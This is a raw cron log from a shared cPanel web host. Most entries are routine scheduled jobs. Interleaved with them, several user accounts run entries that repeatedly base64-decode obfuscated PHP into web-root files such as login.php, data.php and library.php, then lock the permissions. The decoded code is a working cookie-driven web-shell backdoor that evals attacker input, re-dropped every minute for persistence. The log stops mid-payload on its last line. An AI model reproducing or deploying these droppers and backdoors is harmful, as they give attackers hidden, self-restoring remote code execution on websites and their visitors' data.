Mar  2 02:28:01 medusa CROND[22255]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  2 02:28:01 medusa CROND[22258]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:28:01 medusa CROND[22259]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:28:01 medusa CROND[22260]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:29:01 medusa CROND[30232]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 02:29:01 medusa CROND[30235]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:29:01 medusa CROND[30236]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:29:01 medusa CROND[30239]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:29:01 medusa CROND[30240]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:29:01 medusa CROND[30241]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 02:29:01 medusa CROND[30243]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:29:01 medusa CROND[30244]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:29:01 medusa CROND[30245]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:29:01 medusa CROND[30249]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:29:01 medusa CROND[30251]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:29:01 medusa CROND[30242]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 02:29:01 medusa CROND[30257]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:30:01 medusa CROND[4470]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 02:30:01 medusa CROND[4476]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 02:30:01 medusa CROND[4529]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 02:30:02 medusa CROND[4691]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 02:30:02 medusa CROND[4693]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 02:30:02 medusa CROND[4694]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 02:30:02 medusa CROND[4698]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 02:30:02 medusa CROND[4700]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 02:30:02 medusa CROND[4704]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 02:30:02 medusa CROND[4706]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 02:30:02 medusa CROND[4705]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 02:30:02 medusa CROND[4712]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 02:30:02 medusa CROND[4718]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:30:02 medusa CROND[4701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 02:30:02 medusa CROND[4720]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 02:30:02 medusa CROND[4715]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 02:30:02 medusa CROND[4730]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 02:30:02 medusa CROND[4732]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 02:30:02 medusa CROND[4713]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 02:30:02 medusa CROND[4737]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 02:30:02 medusa CROND[4738]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 02:30:02 medusa CROND[4734]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:30:02 medusa CROND[4741]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 02:30:02 medusa CROND[4716]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 02:30:02 medusa CROND[4747]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 02:30:02 medusa CROND[4749]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 02:30:02 medusa CROND[4743]: (root) CMD (/nutscripts/filtroh > /dev/null 2>&1)
Mar  2 02:30:02 medusa CROND[4735]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 02:30:02 medusa CROND[4762]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 02:30:02 medusa CROND[4765]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3F